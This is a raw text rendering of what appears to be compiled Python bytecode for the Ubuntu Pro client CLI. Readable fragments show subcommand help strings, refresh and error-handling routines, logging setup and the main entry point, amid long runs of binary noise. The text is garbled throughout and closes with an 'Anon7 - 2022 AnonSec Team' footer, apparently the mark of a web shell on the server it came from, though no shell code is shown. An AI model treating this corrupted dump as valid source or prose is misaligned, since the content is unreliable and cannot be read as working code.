�t�d�}|jt+d�|jd/d0d�}|jt,d�t-|�|S)1Nz	<command>r�)r8r;r9r:r7z--debugr�z&show all debug log messages to consoler�z	--versionrzshow version of {})r�rr�r�r�r�r]r�Tr�z1attach this machine to an Ubuntu Pro subscriptionr�r�r�r�r�z+automatically attach on supported platformsr�z&collect Pro logs and debug informationr
z/manage Ubuntu Pro configuration on this machinerz3remove this machine from an Ubuntu Pro subscriptionr)z5disable a specific Ubuntu Pro service on this machiner�r%z4enable a specific Ubuntu Pro service on this machiner�z=check for and mitigate the impact of a CVE/USN on this systemr�z.list available security updates for the systemr�z3show detailed information about Ubuntu Pro servicesr�zrefresh Ubuntu Pro servicesrz)current status of all Ubuntu Pro servicesr+z/show system information related to Pro services).�__doc__r6r�ryr�r�rk�EPILOG_TMPLr�r�get_versionr�r�r��requiredr�r�r�r�r�r�r�r�r�r	r�rLrr�r*r�r(r�rr�r�rr$�action_help�action_refreshr��
action_statusr2�
print_version�
action_systemr0)r[r7r�r��
parser_attach�
parser_api�parser_auto_attach�parser_collect_logs�
parser_config�
parser_detach�parser_disable�
parser_enable�
parser_fix�parser_security_status�parser_help�parser_refresh�
parser_status�parser_version�
parser_systemrArArBr5s������������������
��r5cCs�|st��}|r|jnd}|r|jnd}tjjj}|jrnzt	�
|�r+|j�dt
j�n|j�dt
j�Wn9tym}z-t���t
jjt|�d�}t�|�t�|�Wd�n1s^wYWYd}~nd}~wwtj|||d�\}}t|d|k�}	|r�|jr�|	r�|d|kr�tjddd�t�d�tj|||d�\}}|d|ks�t�d�t� |�t�!|�}
t�t�"|
��t�#�|S)	NFr])rG)�simulate_with_tokenrR�execution_statusr�)�endrT)$r
re�allr"rD�UserFacingConfigStatus�ACTIVErr�r�is_contract_changed�notice_file�try_addr�NOTICE_REFRESH_CONTRACT_WARNING�
try_remove�	Exceptionr�disable_log_to_console�UPDATE_CHECK_CONTRACT_FAILURErkr{r�r�r?rrr~�waitrB�time�sleep�set_output_contentr�r�r�)r�r[rRr��active_valuer��err_msgrrF�
config_activer�rArArBr�sZ

���
�
���
�

��


rcKrI)zGPerform the system action.

    :return: 0 on success, 1 otherwise
    r+rJrrKr
rArArBr�rMrcCst|�}t�|j�dSr�)r r?rB�reboot_requiredr�rArArBr-�sr-cCstt���dS�N)rrr)�_argsr[rArArBr�srcCsrz|��Wn+ty1}zt���
t�|�Wd�n1s"wYt�tj	��d}~wwt
tj�dSr8)�process_config�RuntimeErrorrr.r�r�rr�r�REFRESH_CONFIG_FAILUREr�REFRESH_CONFIG_SUCCESS)r�r[�excrArArB�_action_refresh_config�s
���r?cCsvzt�|�Wn,tjy3}zt���
t�|�Wd�n1s$wYt�t	j
��d}~wwtt	j�dSr8)
rr�rr�rr.r�r�r�rr�r�REFRESH_CONTRACT_SUCCESS�r9r[r>rArArB�_action_refresh_contract�s
���rBcCs�zt|�t�|jrt�|�Wn+ty<}zt���
t�|�Wd�n1s-wYt	�
tj��d}~wwt
tj�dSr8)r0r/r	r�r-rr.r�r�rr�r�REFRESH_MESSAGES_FAILUREr�REFRESH_MESSAGES_SUCCESSrArArArB�_action_refresh_messages�s
�
���rEzpro refreshcCsn|jdus
|jdkrt||�|jdus|jdkr&t||�|j�dtj�|jdus0|jdkr5t||�dS)Nr
rr]rr)r�r?rBr)�removerr+rEr�rArArBr�s


r�scoper�r�cCsR|tjkr|j}|j}n|tjkr|j}|j}d|vr|}n|}t|||d�dS)zS
    Handles setting part the apt proxies - global and uaclient scoped proxies
    ri)rcrd�proxy_scopeN)r!r�rWrXr�rYrZr")r[rGr�r�rcrdrArArBr��s
	

�r�cCs�|j}|j}|st|d�j|d�dS|st��}t�||�}|jdkr-t	t
�|��dS|��D]\}}t	d�|�
�|��q1dS)Nr�)rRrr3z{}:
{}
)r�r%r5rQr
rerDr�rkrr3r	�itemsr�)r�r[r�rR�
help_responser�rrArArBrs
�rcCsH|r|jdkst|dd�dvrdSt��}|r"t�tj|d��dSdS)Nr�rkr])r3r4)r)r�r�r�check_for_new_versionr�r��NEW_VERSION_NOTICErk)r��new_versionrArArB�_warn_about_new_version+s����rNc
Cs�|durt��}|j}t��}t�t�}|durt��}|�	|�g|_
t�tj
�}|�|�|�	|�|�d�|�|�t��dkrqt�|�}|��sV|��|�d�t�|�}	|	�	|�|	�|�|	�d�|�|	�dSdS)z3Setup console logging and debug logging to log_fileNz
ua-consoleri�zua-file)r
re�log_filer�LogFormatterr��	Formatterr%�	getLogger�setLevel�handlers�
StreamHandlerrErF�setFormatter�set_name�
addHandlerrcrd�pathlib�Path�exists�touch�chmod�FileHandler)
�
console_level�	log_levelrO�loggerr[�console_formatter�
log_formatter�console_handler�
log_file_path�file_handlerrArArB�
setup_logging;s2











�rgcCs`|jdvr*t�|j�t|d�r,|jdkrt�tjj�|jdkr.t�tjj	�dSdSdSdS)z3Set the right event mode based on the args provided)r�rr%r)rrkr3r4N)
r�r?�set_command�hasattrrk�set_event_moderr��JSON�YAML)r�rArArBrjas



�rjcr~)Ncs�z�|i|��WSty;t���
t�d�Wd�n1s#wYtdtjd�t�	�t�
d�YdStjy�}z�dt
|�vrntj}t�d�rTtj}|j|jd�}tj|j|jd�tj|jtjd	�nDt���#|j|d
�}|jr�tj}ntj}t�|jdi|���Wd�n1s�wYtj}tj|j|jd�tj|jtjd	�t�	�t��t�t�
d�WYd}~dSd}~wtj�y*}zPt���t�|j�Wd�n1s�wYtj|j|j |j!d�tjd�|j�tjd	�t"|tj#��st�	�t��t�t�
|j$�WYd}~dSd}~wt%�y~}zHt���
t�d
�Wd�n	1�sGwYt�	�tjtj&jtjd	�tjt'|dt
|��dd�t��t�t�
d�WYd}~dSd}~ww)N�KeyboardInterruptzInterrupt received; exiting.rKrT�CERTIFICATE_VERIFY_FAILEDzca-certificates)r^r�)�info_msgr�)r^rJ)r=r>�additional_infoz{}z&Unhandled exception, please file a bugr�r�)r=�
error_typerA)(rmrr.r�rJrrErFr�clear_lock_file_if_presentrHrr�r{r�&SSL_VERIFICATION_ERROR_CA_CERTIFICATESr�is_installed�%SSL_VERIFICATION_ERROR_OPENSSL_CONFIGrkr^r?r�rYrB�$LOG_CONNECTIVITY_ERROR_WITH_URL_TMPL�LOG_CONNECTIVITY_ERROR_TMPLr��CONNECTIVITY_ERRORr�rNr�r�rprA�
LockHeldError�	exit_coder-�UNEXPECTED_ERRORr�)r�r�r>�tmplr��msg_args�msg_tmplr���funcrArBr�ms�
�

��
�
���
�
����z#main_error_handler.<locals>.wrapperrA)r�r�rArrB�main_error_handlerlsHr�cCs:|stj}t��dk}tj|d�}t|d�}|dd�}|s+|��tt	�t�
d�|j|d�}t|�|j
}|j}tj||d�|j}|jrKtjntj}	t|	||j�t�t�d|��t���|��Wd�n1srwYdd	�tt�����D�}
|
r�t�t�d
|
��|j||d�}t|�|S)NrrWr�rT)r�rbzExecuted with sys.argv: %rcSsg|]
\}}d�||��qS)z{}={})rk)rQ�k�vrArArBrS�s
��zmain.<locals>.<listcomp>z'Executed with environment variables: %r) rE�argvrcrdr
rer5rDrrGrH�
parse_argsrjrcrdr�configure_web_proxyr`r�r��DEBUG�INFOrgrO�redact_sensitive_logsr.�warn_about_invalid_keysrN�get_pro_environmentrIr�rN)�sys_argv�is_rootr[r��
cli_argumentsr�rcrdr`r_�pro_environment�return_valuerArArB�main�sH

�

����r��__main__r8)NN)rVN)�r
ryr3r�rcrYrrErr�rlr1�	functoolsr�typingrrrr4�uaclientrrr	r
rrr
rrrrrrrrrDrr�uaclient.api.apir�2uaclient.api.u.pro.attach.auto.full_auto_attach.v1rr�+uaclient.api.u.pro.attach.magic.initiate.v1r�)uaclient.api.u.pro.attach.magic.revoke.v1rr�'uaclient.api.u.pro.attach.magic.wait.v1rr�5uaclient.api.u.pro.security.status.reboot_required.v1r r�r!r"�uaclient.data_typesr#r$�uaclient.defaultsr%r&�uaclient.entitlementsr'r(r)�(uaclient.entitlements.entitlement_statusr*r+r,r-�uaclient.filesr.�uaclient.jobs.update_messagingr/r0r�r�rrG�STATUS_HEADER_TMPLr�r"r��	BLUE_INFOrL�get_event_loggerr?�ArgumentParserr6r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrrer$r(r*r0r.r2r{r:rHrLr�r�r�r�r�r�r�r�r~r�r�r�r�r�r�r	r5rrr-rr?rBrErr�rrNrgrjr�r�rvrHrArArArB�<module>s&@����

\

29#'/$O��
�
 )
}
/)E,%D
}.


����
�
&L
.�

Anon7 - 2022
AnonSec Team